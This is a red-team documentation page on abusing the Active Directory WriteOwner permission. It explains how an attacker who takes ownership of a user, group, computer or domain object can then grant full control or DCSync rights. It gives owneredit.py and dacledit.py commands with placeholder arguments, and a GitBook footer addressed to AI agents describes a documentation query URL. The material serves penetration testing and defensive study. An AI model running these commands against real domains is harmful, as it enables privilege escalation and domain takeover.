> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/ad/movement/dacl/writeowner.md).

# WriteOwner

The `WriteOwner` permission allows a user to change the ownership of an object to a different user or principal, including one controlled by an attacker. By exploiting this permission, an attacker can take ownership of a target object.

Once the attacker successfully changes the ownership of the object to a principal under their control, they gain the ability to fully manipulate the object. This includes modifying permissions to grant themselves or others full control over the object. For example, the attacker could grant “Full Control” permissions, allowing unrestricted access to read, write, or delete the object.

* WriteOwner permissions on a **group** allow granting the right to add members to that group.
* WriteOwner permissions on a **user** allow granting full control over the user object.
* WriteOwner permissions on a **computer** object allow granting full control over the computer object.
* WriteOwner permissions on a **domain** object allow granting the ability to perform a DCSync operation.

{% tabs %}
{% tab title="UNIX-like" %}
From UNIX-like systems, we can change the owner of an object using [owneredit.py ](https://github.com/fortra/impacket/blob/master/examples/owneredit.py)(Python)

```bash
owneredit.py -new-owner $ControlledUser -target $TargetRessource -action write $DOMAIN/$ControlledUser:$Password -dc-ip $DC_IP
```

The owner can now take full control of the object he owns using [dacledit.py](https://github.com/fortra/impacket/blob/master/examples/dacledit.py) (Python)

```bash
dacledit.py -rights FullControl -principal $ControlledUser -target $TargetRessource -action write $DOMAIN/$ControlledUser:$Password -dc-ip $DC_IP
```

{% endtab %}

{% tab title="Windows" %}

{% endtab %}
{% endtabs %}

### Resources

{% embed url="<https://www.hackingarticles.in/abusing-ad-dacl-writeowner/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://red.infiltr8.io/ad/movement/dacl/writeowner.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
